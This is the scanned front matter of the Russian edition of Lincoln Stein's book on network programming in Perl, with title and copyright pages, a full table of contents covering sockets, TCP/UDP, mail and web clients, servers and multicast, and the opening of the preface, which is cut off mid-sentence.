/
Author: Штайн Л.Д.
Tags: компьютерные технологии программирование программное обеспечение язык программирования perl
ISBN: 5-8459-0222-3
Year: 2001
Text
Разработка
сетевых
программ на
линкольн д*
Штайн
*ф
"*?. -v- ^>'V Л>
W ^ St,
«г..
4 • » t
N
ВИЛЬЯМС
4 М.
А
тт
ADDISON
Network
Programming
with Perl
Lincoln D. Stein
ADDISON WESLEY
Boston ■ San Francisco • Mew York • Toronto • Montreal • London • Munich ■
Paris - Madrid ■ Capetown • Sydney • Tokyo • Singapore • Mexico City •
Разработка
сетевых программ
на Perl
Линкольн Д. Штайн
Издательский дом "Вильяме"
Москва ♦ Санкт-Петербург ♦ Киев
2001
ББК 32.973.26-018.2.75
Ш88
УДК 681.3.07
Издательский дом "Вильяме"
Зав. редакцией С.Н. Тригуб
Перевод с английского и редакция К.А. Птицына
По общим вопросам обращайтесь в Издательский дом "Вильяме"
по адресу: info(§4villiamspublishing.com, http://vw\rw".vvilliamspublishing.com
Штайн, Линкольн, Д.
Ш88 Разработка сетевых программ на Perl. : Пер. с англ. — М. : Издательский дом
"Вильяме", 2001. — 752 с.: ил. — Парал. тит. англ.
ISBN 5-8459-0222-3 (рус.)
В данной книге рассматривается разработка и реализация практически применимых
сетевых приложений с использованием объектно-ориентированных средств языка
программирования Perl. Приведены сведения, необходимые для первого знакомства
с объектами Perl.
В книге представлены сетевые средства связи протокола TCP/IP, рассмотрены лучшие
модули независимых разработчиков, которые внесены в Полный сетевой архив Perl
(CPAN), описаны возможности проектирования систем типа клиент/сервер на основе
протокола TCP и новые области применения протокола L'DP.
Книга предназначена для программистов Perl начального и средних) уровня.
ББК 32.973.26-018.2.75
Все названия программных продуктов являются зарегистрированными торговыми марками
соответствующих фирм.
Никакая часть настоящего издания ни в каких целях не может быть воспроизведена в какой бы
то ни было форме и какими бы то ни было средствами, будь то электронные или механические,
включая фотокопирование и запись на магнитный носитель, если на это нет письменного
разрешения издательства Addison-Wesley Publishing Company, Inc.
Authorized translation from the English language edition published by Addison-Wesley Publishing
Company, Inc., Copyright © 2001
All rights reserved. No part of this book may be reproduced or transmitted in any form or by any
means, electronic or mechanical, including photocopying, recording or by any information storage
retrieval system, without permission from the Publisher.
Russian language edition published by Williams Publishing House according to the Agreement with
R&I Enterprises International, Copyright © 2001
ISBN 5-8459-0222-3 (рус.) © Издательский дом "Вильяме", 2001
ISBN 0-201-61571-1 (англ.) ©Addison-Wesley Publishing Company, Inc., 2001
Оглавление
Предисловие 15
Благодарности 26
ЧАСТЬ I. ОСНОВЫ 27
Глава 1. Основы ввода-вывода 28
Глава 2. Процессы, каналы и сигналы 58
Глава 3. Основные сведения о сокетах Berkeley 82
Глава 4. Протокол TCP 108
Глава 5. API-интерфейс IO::Socket 126
ЧАСТЬ II. РАЗРАБОТКА КЛИЕНТОВ ДЛЯ ОСНОВНЫХ СЛУЖБ 149
Глава 6. FTP и Telnet 150
Глава 7. Протокол отправки почты SMTP 178
Глава 8. Протоколы обработки почты и сообщений групп новостей POP, IMAP и NNTP 217
Глава 9. Web-клиенты 256
ЧАСТЬ III. РАЗРАБОТКА СИСТЕМ TCP ТИПА КЛИЕНТ/СЕРВЕР 307
Глава 10. Серверы с ветвлением и демон inetd 308
Глава 11. Многопоточные приложения 340
Глава 12. Мультиплексные приложения 353
Глава 13. Неблокирующий ввод-вывод 368
Глава 14. Повышение безотказности серверов 418
Глава 15. Предварительная организация мультипроцессной и многопоточной
обработки 456
Глава 16. Модуль IO::Poll 498
ЧАСТЬ IV. ДОПОЛНИТЕЛЬНЫЕ ТЕМЫ 507
Глава 17. Срочные данные TCP 508
Глава 18. Протокол UDP 532
Глава 19. Серверы UDP 556
Глава 20. Широковещательная рассылка 589
Глава 21. Многоадресная рассылка 611
Глава 22. Сокеты домена UNIX 641
Приложение А. Дополнительный исходный код 655
Приложение Б. Коды ошибок и специальные переменные Perl 680
Приложение В. Справочные таблицы Internet 688
Приложение Г. Библиография 730
Предметный указатель 763
Содержание
Предисловие 15
ЧАСТЬ I. ОСНОВЫ 27
Глава 1. Основы ввода-вывода 28
Perl и работа с сетями 28
Язык, созданный для межпроцессной связи 28
Язык, созданный для обработки текста 29
Проект с открытым исходным кодом 29
Объектно-ориентированные сетевые расширения 29
Защита 30
Производительность 30
Простые средства работы с сетью 30
Дескрипторы файлов 33
Стандартные дескрипторы файлов 33
Операции ввода и вывода 34
Обнаружение конца файла 36
Отсутствие единого подхода к оформлению конца строки 38
Открытие и закрытие файлов 39
Буферизация и блокировка 44
Стандартная буферизация ввода-вывода 47
Передача и хранение дескрипторов файлов 48
Контроль ошибок 50
Применение объектно-ориентированного синтаксиса при работе с модулями
IO::Handle и lO::File 51
Объекты и ссылки 51
Модули IO::Handle и IO::File 53
Резюме 57
Глвва 2. Процессы, каналы и сигналы 58
Процессы 58
Функция fork() 59
Функции system() и ехес() 61
Каналы 62
Открытие канала 62
Применение каналов 63
Простой способ создания канала — оператор обратных одинарных кавычек 65
Более мощное средство создания каналов — функция pipe() 66
Двунаправленные каналы 69
Как отличить каналы от простых дескрипторов файлов 69
Серьезная ошибка PIPE 70
Сигналы 72
Наиболее часто применяемые сигналы 72
Перехват сигналов 74
Обработка исключений PIPE 76
Отправка сигналов 78
Предупреждения, касающиеся применения обработчиков сигналов 79
Прекращение по тайм-ауту продолжительных системных вызовов 79
Резюме 81
б
Содержание
Глава 3. Основные сведения о сокетах Berkeley 82
Клиенты, серверы и протоколы 82
Протоколы 83
Сопоставление двоичных и текстовых протоколов 84
Сокеты Berkeley 86
Устройство сокета 86
Дейтаграммные сокеты 88
Потоковые сокеты 89
Сопоставление дейтаграммных и потоковых сокетов 90
Адресация сокета 91
IP-адрес 92
Зарезервированные IP-адреса, подсети и маски сети 93
Версия IPv6 протокола IP 95
Сетевые порты 95
Структура sockaddrjn 96
Простой сетевой клиент 97
Сетевые имена и службы 99
Преобразование имен хостов в IP-адреса 99
Примеры преобразования имен хостов 100
Получение информации о протоколах и службах 101
Еще одна версия клиента службы времени 102
Другие источники сетевой информации 103
Инструментальные средства анализа сети 104
Утилита ping 104
Утилита nslookup 105
Утилита traceroute 105
Утилита netstat 106
Утилита tcpdump 106
Утилита МасТСР Watcher 107
Утилита scanner.exe 107
Набор утилит net-toolbox.exe 107
Резюме 107
Глава 4. Протокол TCP 108
Клиент эхо-сервера TCP 108
Функции сокета, относящиеся к исходящим соединениям 110
Эхо-сервер TCP 112
Функции сокета, относящиеся к входящим соединениям 115
Ограничения программы tcp_echo_serv1 .pi 116
Корректировка опций сокета 117
Широко применяемые опции сокета 118
Опция сокета SO_REUSADDR 120
Функции fcntl() и ioctl() 120
Другие функции, относящиеся к сокетам 120
Константы обозначения конца строки, экспортируемые модулем Socket 121
Исключительные ситуации, возникающие во время связи по протоколу TCP 122
Исключительные ситуации, возникающие во время выполнения функции connect!) 123
Исключительные ситуации, возникающие во время выполнения операций
чтения и записи 123
Резюме 125
Глава 5. API-интерфейс 10:: Socket 126
Применение модуля IO::Socket 126
Клиент службы времени 126
Содержание
7
Клиент зхо-сервера TCP 127
Методы модуля IO::Socket 128
Иерархия классов IO::Handle 128
Создание объектов IO::Socket::INET 129
Методы объекта lO::Socket 133
Дополнительные практические примеры 135
Очередная версия программы инвертирующего эхо-сервера 135
Web-клиент 137
Производительность и стиль программы 140
Одновременно работающие клиенты 141
Клиент gab, первая попытка 141
Клиент gab, вторая попытка 143
Резюме 148
ЧАСТЬ II. РАЗРАБОТКА КЛИЕНТОВ ДЛЯ ОСНОВНЫХ СЛУЖБ 149
Глава 6. FTP и Telnet 150
Net::FTP 150
Пример применения модуля Net::FTP 150
FTP и другие протоколы, предназначенные для выполнения команд 151
API-интерфейс модуля Net::FTP 153
Сценарий создания зеркального отображения каталога 156
Net::Telnet 162
Пример простого сценария применения модуля Net::Telnet 164
API-интерфейс модуля Net::Telnet 165
Программа дистанционной смены пароля 169
Применение модуля Net::Telnet для работы с протоколами, отличными от Telnet 172
Модуль Expect 177
Резюме 177
Глава 7. Протокол отправки почты SMTP 178
Общие сведения о модулях электронной почты 178
Net::SMTP 179
Протокол SMTP 179
API-интерфейс Net::SMTP 181
Применение модуля Net::SMTP 183
MailTools 185
Применение модуля MailTools 185
Mail::Header 186
Mail::lnternet 189
Программа почтового автоответчика 190
Mail::Mailer 193
MIME::Tools 195
Общие сведения о форматах MIME 195
Организация модулей MIME::* 199
MIME::Entity 201
MIME::Head 206
MIME::Body 207
MIME::Parser 209
Пример применения модуля MIME: отправка по почте последних поступлений
BapxHBCPAN 213
Резюме 215
Глава 8. Протоколы обработки почты и сообщений групп новостей
POP, IMAP и NNTP 217
Почтовый протокол 217
Получение сводных данных о содержимом почтового ящика РОРЗ 218
8
Содержание
API-интерфейс модуля Net::P0P3 220
Выборка и обработка сообщений MIME no протоколу POP 222
Сценарий pop_fetch.pl 224
Модуль PopParser 230
Протокол IMAP 233
Получение сводных данных о содержимом почтового ящика IMAP 234
API-интерфейс модуля Net::IMAP::Simple 235
Клиенты службы новостей Internet 237
Net::NNTP 240
API-интерфейс модуля Net::NNTP 241
Шлюз от службы сетевых новостей к службе электронной почты 248
Резюме 255
Глава 9. Web-клиенты 256
Установка библиотеки LWP 256
Основные способы использования библиотеки LWP 258
HTTP:: Request 260
HTTP::Response 264
LWP::UserAgent 267
Примеры применения модуля LWP 271
Выборка списка документов RFC 271
Зеркальное отображение списка документов RFC 273
Эмуляция заполняемых форм 274
Применение модуля HTTP::Request::Common для отправки на сервер данных
заполняемой формы 280
Выгрузка файлов с использованием типа MIME multipart/form-data 282
Выборка страницы, защищенной паролем 286
Интерпретация кода HTML и XML 288
Форматирование кода HTML 289
API-интерфейс модуля HTML formatter 290
API-интерфейс модуля HTML:TreeBuilder 291
Получение отформатированного кода HTML из сценария get_url.pl 292
Модуль HTML:Parser 294
Применение модуля HTML::Parser 296
API-интерфейс модуля HTML::Parser 297
Сценарий search_rfc.pl на основе модуля HTML:Parser 300
Получение изображений с удаленного сервера no URL 303
Резюме 306
ЧАСТЬ III. РАЗРАБОТКА СИСТЕМ TCP ТИПА КЛИЕНТ/СЕРВЕР 307
Глава 10. Серверы с ветвлением и демон inetd 308
Стандартные методы одновременного обслуживания нескольких соединений 308
Мультипроцессный сервер 309
Многопоточный сервер 310
Мультиплексный сервер 310
Основной рабочий пример — психотерапевтический сервер 311
Психотерапевтическое приложение, реализованное в виде мультипроцессного
сервера 312
"Зомби" 312
"Уборка" дочерних процессов в обработчике сигнала CHLD 314
Психотерапевтический сервер с функцией fork() 315
Применение психотерапевтического сервера на платформах Windows 318
Клиентский сценарий для психотерапевтического сервера 318
Применение демонов в системах UNIX 321
Содержание
9
Автоматический перевод в фоновый режим 322
Файлы РЮ 324
Автоматический запуск сетевых серверов 328
Работа в фоновом режиме в системах Windows и Macintosh 331
Применение супердемона inetd 332
Применение демона inetd 334
Применение демона inetd в режиме wait 336
Резюме 339
Глава 11. Многопоточные приложения 340
Основные сведения о потоках 340
Экспериментальный характер средств поддержки многопоточности 341
API-интерфейс поддержки потока 341
Простое многопоточное приложение 342
Блокировка 343
Функции и методы модуля Thread 345
Потоки и сигналы 347
Многопоточный психотерапевтический сервер 348
Класс Chatbot::Eliza::Server 349
Многопоточный клиент 350
Резюме 352
Глава 12. Мультиплексные приложения 353
Мультиплексный клиент 353
Модуль lO::Select 355
Встроенная функция select() 357
Определение готовности дескриптора файла к вводу-выводу 357
Объединение средств метода select() со стандартными средствами ввода-вывода 359
Корректировка нижних отметок 359
Мультиплексный психотерапевтический сервер 360
Главная программа сервера 360
Модуль Chatbot::Eliza::Polite 363
Недостатки данной версии психотерапевтического сервера 365
Резюме 366
Глава 13. Неблокирующий ввод-вывод 368
Создание неблокирующих дескрипторов ввода-вывода 368
Создание неблокирующих дескрипторов: функциональный интерфейс 369
Создание неблокирующих дескрипторов: объектно-ориентированный интерфейс 371
Применение неблокирующих дескрипторов 371
Выполнение функции sysread() на неблокирующих дескрипторах файлов 371
Выполнение функции syswrite() на неблокирующих дескрипторах файлов 372
Применение неблокирующих дескрипторов в построчных операциях ввода-вывода 374
Применение модуля IO::Getline 375
Модуль IO::Getline 376
Универсальный неблокирующий модуль ввода-вывода 380
Неблокирующий эхо-сервер 380
Неблокирующий сервер с построчным вводом-выводом 383
Модуль IO::SessionData 385
Модуль IO::SessionSet 393
Классы lO::LineBufferedSet и IO::LineBufferedSessionData 399
Применение модуля IO::SessionSet с дескрипторами файлов, отличными от
сокетов 400
Неблокирующие операции подключения и приема входящих соединений 403
10
Содержание
Параметр тайм-аута модуля IO::Socket 403
Неблокирующее выполнение метода connect!) 404
Одновременное обслуживание нескольких операций подключения 407
Простой HTTP-клиент 407
Модуль HTTPFetch 411
Неблокирующий вызов метода accept() 416
Резюме 417
Глава 14. Повышение безотказности серверов 418
Применение системного журнала 418
Система syslog UNIX 419
Модуль Sys::Syslog 421
Применение средств ведения журнала в программе психотерапевтического
сервера 423
Регистрация сообщений, вырабатываемых функциями wam() и die() 428
Применение журнала событий Event Log на платформах Win32 429
Непосредственное ведение журнала в файле 430
Установка привилегий пользователя 434
Изменение идентификаторов пользователя и группы 434
Работа психотерапевтического сервера с правами суперпользователя 436
Режим проверки потенциально опасных данных 439
Применение режима проверки потенциально опасных данных 441
Применение функции chroot() 443
Применение функции chroot() в программе психотерапевтического сервера 443
Обработка сигнала HUP и других сигналов 445
Изменения в основном сценарии 445
Изменения в модуле Daemon 448
Резюме 455
Глава 15. Предварительная организация мультипроцессной
и многопоточной обработки 456
Предварительное ветвление 457
Web-сервер 458
Web-серверы с последовательным методом обработки 463
Web-сервер, выполняющий прием и ветвление 464
Web-сервер с предварительным ветвлением, версия 1 467
Web-сервер с предварительным ветвлением, версия 2 468
Адаптивный сервер с предварительным ветвлением 473
Адаптивный сервер с предварительным ветвлением, использующий
разделяемую память 481
Предварительное формирование потоков 487
Многопоточный Web-сервер 487
Простой сервер с предварительным формированием потоков 489
Адаптивное предварительное формирование потоков 490
Модуль NetServer::Generic 495
Измерение показателей производительности 496
Резюме 497
Глава 16. Модуль 10::Poll 498
Применение модуля IO::Poll 498
События Ю::Ро11 500
Методы Ю::Ро11 502
Пример использования модуля IO::Poll для разработки неблокирующего клиента TCP 502
Резюме 506
Содержание
11
ЧАСТЬ IV. ДОПОЛНИТЕЛЬНЫЕ ТЕМЫ 507
Глава 17. Срочные данные TCP 508
"Внеочередные" данные и указатель срочных данных 508
Применение срочных данных TCP 510
Опция SO_OOBINLINE 513
Функция select() для работы со срочными данными 514
Функция sockatmark() 516
Реализация функции sockatmark() 517
Сервер генерации пародийных текстов 519
Модуль Text::Travesty 520
Проект сервера генерации пародийных текстов 520
Клиент сервера генерации пародийных текстов 525
Проверка сервера генерации пародийных текстов 530
Резюме 531
Глава 18. Протокол UDP 532
Клиент службы времени 532
Создание и использование сокетов UDP 534
Создание сокета UDP 535
Функции send() и recv() 535
Привязка сокета UDP 536
Подключение сокета UDP 536
Ошибки протокола UDP 537
Асинхронные сообщения об ошибках 537
Утерянные пакеты и фрагментация 538
Применение модуля IO::Socket для работы с сокетами UDP 538
Разработка клиента службы времени с использованием метода IO::Socket 539
Отправка запросов на несколько хостов 540
Серверы U DP 543
Инвертирующий зхо-сервер UDP 543
Клиент зхо-сервера UDP 544
Повышение безотказности приложений UDP 546
Завершение по тайм-ауту операций приема данных по протоколу UDP 547
Дублирующиеся и непоследовательно поступающие дейтаграммы 549
Резюме 554
Глава 19. Серверы UDP 556
Система интерактивной переписки в Internet 556
Пример сеанса 556
Проект системы интерактивной переписки 558
Клиент системы интерактивной переписки 560
Модуль ChatObjects::Comm 567
Модуль ChatObjects::ChatCodes 569
Сервер системы интерактивной переписки 570
Основной сценарий сервера 570
Класс ChatObjects::User 572
Класс ChatObjects::Channel 578
Обнаружение бездействующих клиентов 580
Применение сообщений о событии STILL_HERE в системе интерактивной
переписки 581
Изменения в модуле ChatObjects::ChatCodes 581
Подкласс ChatObjects::TimedUser 582
Откорректированная программа chat_client.pl 583
Откорректированная программа chat_server.pl 585
Резюме 587
12
Содержание
Глава 20. Широковещательная рассылка 589
Сопоставление одноадресной и широковещательной рассылки 589
Описание широковещательной рассылки 590
Приложения на основе широковещательной рассылки 592
Отправка и прием широковещательных сообщений 592
Отправка широковещательных сообщений 593
Прием широковещательных пакетов 596
Широковещательная рассылка без использования широковещательного адреса
конкретной подсети 596
Широковещательный адрес, состоящий только из единиц 597
Определение интерфейсов, обеспечивающих широковещательную рассылку,
во время выполнения 598
Модуль IO::lnterface 600
Анализ работы модуля IO::lnterface 601
Доработка клиента системы интерактивной переписки для поддержки поиска
ресурсов 607
Резюме 610
Глава 21. Многоадресная рассылка 611
Основы многоадресной рассылки 611
Зарезервированные адреса многоадресной рассылки 612
Адреса многоадресной рассылки и аппаратная фильтрация 614
Многоадресная рассылка в глобальных сетях 614
"Время жизни" пакетов многоадресной рассылки 616
Применение многоадресной рассылки 618
Отправка многоадресных сообщений 618
Опции сокета для отправки многоадресного пакета 619
Прием многоадресных сообщений 620
Модуль IO::Socket::Multicast 622
Примеры приложений многоадресной рассылки 626
Сервер службы времени с многоадресной рассылкой 626
Клиент службы времени с многоадресной рассылкой 628
Система интерактивной переписки с многоадресной рассылкой 630
Резюме 640
Глава 22. Сокеты домена UNIX 641
Применение сокетов домена UNIX 641
Функционально-ориентированный интерфейс к сокетам домена UNIX 642
Объектно-ориентированный интерфейс к сокетам домена UNIX 644
Сокеты домена UNIX и права доступа к файлу 646
Сервер форматирования текста 646
Клиент Text: :Wrap 649
Применение сокетов домена UNIX для передачи дейтаграмм 650
Сервер службы времени домена UNIX 651
Клиент службы времени домена UNIX 652
Резюме 654
Приложение А. Дополнительный исходный код 655
Модуль Net::NetmaskLite (глава 3) 655
Модуль PromptUtil.pm (главы 8 и 9) 658
Модуль IO::LineBufferedSet (глава 13) 661
Модуль IO::LineBufferedSessionData (глава 13) 664
Модуль DaemonDebug (глава 14) 670
Модуль Text::Travesty (глава 17) 672
Сценарий mchat_client. pi (глава 21) 676
Содержание
13
Приложение Б. Коды ошибок и специальные переменные Perl 680
Константы ошибок системы 680
"Магические" переменные, влияющие на выполнение операций ввода-вывода 684
Другие глобальные переменные Perl 686
Приложение В. Справочные таблицы Internet 688
Назначенные номера портов 688
Зарегистрированные номера портов 709
Адреса групп многоадресной рассылки Internet 727
Приложение Г. Библиография 730
Программирование на Perl 730
Книги 730
Оперативные ресурсы 730
Протокол TCP/IP и сокеты Berkeley 730
Книги 730
Оперативные ресурсы 731
Проектирование сетевых серверов 731
Многоадресная рассылка 731
Книги 731
Оперативные ресурсы 732
Протоколы прикладного уровня 732
Протокол FTP 732
Протокол Telnet 732
Защищенный командный интерпретатор 732
Протокол SMTP 733
Стандарты MIME 733
Протокол POP 733
Протокол IMAP 734
Протокол NNTP 734
Протоколы HTTP, HTML и XML 734
Защита сети 735
Предметный указатель 763
14
Содержание
Предисловие
Сегодня сети применяются буквально повсеместно. В офисе компьютеры
объединены в локальные сети, подключенные к Internet. Дома персональные компьютеры
соединяются с Internet пока еще только время от времени, но для подключения все чаще
используются стационарные кабели и модемы DSL. Новые беспроводные технологии,
такие как Bluetooth, должны еще больше расширить область охвата сетей и включить
в нее все, начиная от сотовых телефонов и заканчивая бытовыми приборами.
Такие перспективы открывают огромные возможности для новаторства.
Создаются новые классы приложений, позволяющих воспользоваться постоянными
высокоскоростными соединениями. Интерактивные игры дают возможность игрокам с
разных точек Земли состязаться на виртуальных игровых площадках и мгновенно
передавать друзьям известия о своих победах с применением протоколов экстренной
передачи сообщений. Новые одноранговые системы, такие как Napster и Gnutella,
позволяют непосредственно обмениваться звуковыми файлами в формате МРЗ и
другим информационным наполнением. В проекте SETKgHome используется свободное
время миллионов персональных компьютеров во всем мире для поиска признаков
внеземной жизни в огромной массе космического шума.
Сети проникают во все области человеческой деятельности, и это способствует
также развитию обычных приложений. Обладая нужными знаниями, можно создать
робот, который будет собирать и подытоживать данные с Web-узлов конкурентов;
написать сценарий, автоматически сообщающий о падении курса определенных акций
ниже указанного уровня; разработать программу подготовки ежедневных
управленческих отчетов и отправки их по электронной почте; а также спроектировать сервер,
который способен при одних условиях сосредоточить выполнение задачи,
требующей большого объема вычислений, на одном мощном компьютере, а при других —
распределить ее по нескольким узлам компьютерного кластера.
Тем не менее без понимания того, как работают сетевые приложения, невозможно
полностью воспользоваться всеми преимуществами сети, независимо оттого, решается ли
задача поиска товаров по самой выгодной цене или поиска братьев по разуму в отдаленной
галактике. Для этого, прежде всего, нужно уметь работать с протоколом TCP/IP, который
не только лежит в основе всего взаимодействия по Internet, но и чаще всего применяется
в локальной сети. Необходимо знать, как подключиться к удаленной программе, получить
и передать в нее данные и как устранить возможные нарушения. Для работы с
существующими приложениями, такими как Web-серверы, нужно знать, как реализованы
прикладные протоколы, в основе которых лежит протокол TCP/IP, и как работать с широко
применяемыми форматами обмена данных типа XML и MIME.
В настоящей книге рассматривается разработка и реализация практически
применимых сетевых приложений с использованием языка программирования Perl. Этот
язык идеально подходит для сетевого программирования по многим причинам. Во-
первых, как и другие средства этого языка, сетевые модули Perl позволяют быстро
решать поставленные задачи. На этом языке достаточно написать две строки кода,
чтобы открыть сетевое соединение с сервером, находящимся где-то в Internet, и от-
Предисловие
15
править ему сообщение. Полностью работоспособный Web-сервер может быть
реализован с помощью нескольких десятков строк программы.
Во-вторых, Perl разрабатывается в рамках проекта с открытым исходным кодом,
и это побудило многих талантливых программистов внести свой вклад в постоянно
растущую библиотеку модулей независимых разработчиков. Многие из этих модулей
предоставляют мощные интерфейсы к обычным сетевым приложениям. Например,
после загрузки модуля LWP: : Simple достаточно вызвать единственную функцию для
выборки с удаленного сервера всего содержимого Web-страницы и сохранения его
в переменной. Другие модули независимых разработчиков предоставляют простые
интерфейсы к приложениям электронной почты, FTP, сетевых новостей, а также
к различным сетевым базам данных.
Perl обладает также впечатляющей переносимостью. Большинство приложений,
представленных в этой книге, могут работать без каких-либо изменений на
платформах UNIX, Windows, Macintosh, VMS и OS/2.
Однако самым убедительным аргументом в пользу применения языка Perl для
разработки сетевых приложений является то, что он позволяет полностью
воспользоваться всеми возможностями TCP/IP. Perl предоставляет полный доступ к тем же
сетевым вызовам низкого уровня, которые доступны в программах С и других
транслируемых языках. Он позволяет создавать приложения многоадресной рассылки,
развертывать мультиплексные серверы и разрабатывать одноранговые системы. Этот
язык дает возможность быстро создавать прототипы новых сетевых приложений
и разрабатывать интерфейсы к существующим. А когда настанет время подготовить
сетевое приложение на языке С или Java, программист Perl с восхищением
обнаружит, что значительная часть API-интерфейса Perl пересекается с этими языками.
Для кого предназначена эта книга
Книга Разработка сетевых программ на Perl рассчитана на программистов Perl
начального и среднего уровня. Автор предполагает, что читатель владеет основами
программирования Perl, в частности, знает, как писать циклы, строить операторы if-
else и создавать шаблоны регулярных выражений, а также имеет представление об
автоматической переменной $_ и знает основы работы с массивами и хешами.
Для успешного изучения этой книги необходимо иметь доступ к интерпретатору Perl
и обладать определенным опытом написания, выполнения и отладки сценариев. Не
менее важно также иметь доступ к компьютеру, подключенному и к локальной сети,
и к Internet! Хотя для выполнения рекомендаций по автоматическому запуску сетевых
серверов на основе Perl во время начальной загрузки компьютера, приведенных в главе
10, требуется доступ на уровне суперпользователя (администратора), все другие
примеры этой книги могут быть выполнены без привилегированного доступа к компьютеру.
В данной книге используются объектно-ориентированные средства Perl версии 5
и последующих версий, но материал большинства глав не требует глубоких знаний
в области объектно-ориентированного программирования. В главе 1 приведены все
сведения, необходимые для первого знакомства с объектами Perl.
Здесь не представлен полный обзор протокола TCP/IP, вплоть до самого низкого
уровня. Данная книга не может служить руководством по установке и настройке
сетевых концентраторов, маршрутизаторов и серверов имен. Литература с описанием
протокола TCP/IP и изложением вопросов сетевого администрирования приведена
в Приложении Г, "Библиография".
16
Предисловие
Краткий обзор содержания книги
Эта книга состоит из четырех основных частей.
В части I, Основы, представлены основные сведения о сетевых средствах связи
протокола TCP/IP.
■ В главах 1 и 2, "Основы ввода-вывода" и "Процессы, каналы и сигналы",
описаны функции и переменные, применяемые для ввода и вывода, рассмотрены
исключительные ситуации, которые могут возникать во время выполнения
операций ввода-вывода, и дано вводное описание сокетов на примере
дескрипторов файлов, применяемых для ввода-вывода по каналу. В этих главах приведен
также обзор модели обработки Perl, включая сигналы и средства ветвления
(порождения дочерних процессов), и представлены объектно-
ориентированные расширения Perl.
■ В главе 3, "Основные сведения о сокетах Berkeley", приведены основные
сведения о сетевых средствах Internet, дано описание IP-адресов и сетевых портов,
а также рассмотрены принципы создания приложений типа клиент/сервер.
В конце главы приведено описание API-интерфейса сокетов Berkeley —
программного интерфейса к TCP/IP.
■ Главы 4 и 5, "Протокол TCP" и "API-интерфейс IO::Socket", содержат описание
основ TCP — сетевого протокола, который обеспечивает надежное потоковое
взаимодействие процессов. В этих главах показано, как создавать клиентские
и серверные приложения, и представлены примеры, которые демонстрируют
возможности этих методов, а также могут служить образцами для создания
наиболее часто применяемых приложений.
В части II, Разработка клиентов для основных служб, рассматривается коллекция
лучших модулей независимых разработчиков, которые были внесены в Полный сетевой
архив Perl (CPAN).
■ В главе 6, "FTP и Telnet", описаны модули, которые обеспечивают применение
службы совместного доступа к файлам по протоколу FTP, а также представлен
гибкий и удобный модуль Net: : Telnet, который позволяет создавать клиенты
для работы с различными сетевыми службами.
■ Электронная почта все еще занимает доминирующее положение в Internet,
и в главе 7, "Протокол отправки почты SMTP", описано, как выполнить первую
задач)' организации обмена почтовыми сообщениями — отправку почты. В этой
главе показано, как динамически создавать сообщения электронной почты, в том
числе двоичные файловые дополнения, и отправлять их по месту назначения.
■ В главе 8, "Протоколы обработки почты и сообщений групп новостей POP,
ГМАР и NNTP", рассматривается вторая задача— получение почты. В этой
главе описаны модули, позволяющие принимать электронную почту от удаленных
почтовых систем и обрабатывать полученные письма, которые могут
содержать двоичные файловые дополнения.
■ Глава 9, "Web-клиенты", содержит описание модуля LWP, предоставляющего все
необходимое для подключения к Web-серверу, загрузки и обработки
документов HTML, а также интерпретации документов XML.
Предисловие
17
В части III, Разработка систем TCP типа клиент/сервер (самой большой по объему),
описаны возможности проектирования систем типа клиент/сервер на основе
протокола TCP. В качестве основного примера в этих главах применяется
психотерапевтический интерактивный сервер, созданный по образцу классической программы Eliza
Джозефа Вейценбаума (Joseph Weizenbaum).
■ В главе 10, "Серверы с ветвлением и демон inetd", описан TCP-сервер обычного
типа, который порождает собственную копию для обработки каждого
входящего соединения. В этой главе рассматриваются также демоны inetd UNIX
и Windows, позволяющие использовать в качестве сетевых серверов
программы, которые не были специально предназначены для этой цели.
■ Глава 11, "Многопоточные приложения", содержит описание
экспериментального многопоточного API-интерфейса Perl. В этой главе показано, что
применение такого интерфейса позволяет значительно упростить проектирование
клиентов и серверов TCP.
■ В главах 12 и 13, "Мультиплексные приложения" и "Неблокирующий
ввод-вывод", рассматривается функция select (), которая позволяет
обрабатывать в приложении несколько потоков ввода-вывода одновременно без муль-
типроцессной или многопоточной обработки.
■ В главе 14, "Повышение безотказности серверов", обсуждаются методы
повышения надежности и безотказности сетевых серверов. В этой главе
рассматриваются такие темы, как ведение журналов, обработка сигналов и исключений,
а также важная тема защиты сети.
■ В главе 15, "Предварительная организация мультипроцессной и многопоточной
обработки", представлены более развитые модели ветвления и формирования
потоков команд по сравнению с описанными в предыдущих главах. Эти
усовершенствования позволяют повысить способность сервера выдерживать тяжелые нагрузки.
■ Глава 16, "Модуль Ю::Ро11", содержит описание одного варианта, который
может применяться на платформах UNIX вместо функции select (). Этот модуль
позволяет мультиплексировать в приложении несколько потоков ввода-вывода
с использованием API-интерфейса, который многие находят более удобным по
сравнению с интерфейсом функции select ().
В части IV, Дополнительные темы, рассматриваются методы, которые
предназначены для специализированных приложений.
■ Глава 17, "Срочные данные TCP", посвящена срочным или "внеочередным"
данным TCP. Этот метод передачи данных часто применяется в интерактивных
приложениях для отправки сигналов управления на удаленный сервер.
■ В главах 18 и 19, "Протокол UDP" и "Серверы UDP", представлен протокол
пользовательских дейтаграмм, который позволяет легко создать службу связи,
ориентированную на передачу сообщений. В главе 18 описан сам протокол,
а в главе 19 показано, как разрабатывать серверы UDP. Основным примером,
рассматриваемым в этой и следующих двух главах, служит система прямого
чата (оперативного обмена текстовыми сообщениями) и передачи сообщений,
написанная полностью на языке Perl.
■ Главы 20 и 21, "Широковещательная рассылка" и "Многоадресная рассылка",
содержат описание новых областей применения протокола UDP. В этих главах
18
Предисловие
показано, как построить систему передачи сообщений типа "от одного ко всем"
и "от одного ко многим". Здесь рассматривается более развитая система чата,
которая включает средства автоматического обнаружения сервера и
многоадресной рассылки.
■ В главе 22, "Сокеты домена UNIX", показано, как создавать каналы связи между
процессами на одном и том же компьютере, действующие на основе
упрощенного протокола. Эти средства могут применяться в таких специализированных
приложениях, как программа ведения журнала.
Многочисленные версии Perl
Любой перспективный проект проходит определенные этапы своего развития,
и язык Perl, который пересматривался несколько раз на протяжении своего
недолгого существования, не составляет исключения. В настоящей книге рассматривается
Perl версии 5.Х (рекомендуется версия 5.003 или последующая). Ко времени
написания этого предисловия (август 2000 года) самой новой версией Perl была 5.6 и
готовилась к выпуску версия 5.7. Автор предполагает, что язык Perl версий 5.8 и 5.9 (если
они появятся) также будет совместимым с приведенными здесь примерами кода.
Однако ведется работа по созданию Perl версии 6. В этой версии, которая должна
выйти в виде первой альфа-версии в 2001 году, будут исправлены многие "странности" и
недостатки ранних версий Perl. Но это может привести к нарушению работы большинства
существующих сценариев. К счастью, разработчики языка Perl взяли на себя обязательства
разработать инструментальные средства, позволяющие автоматически перенести
существующие сценарии на версию 6. Учитывая это, автор попытался сделать примеры в этой
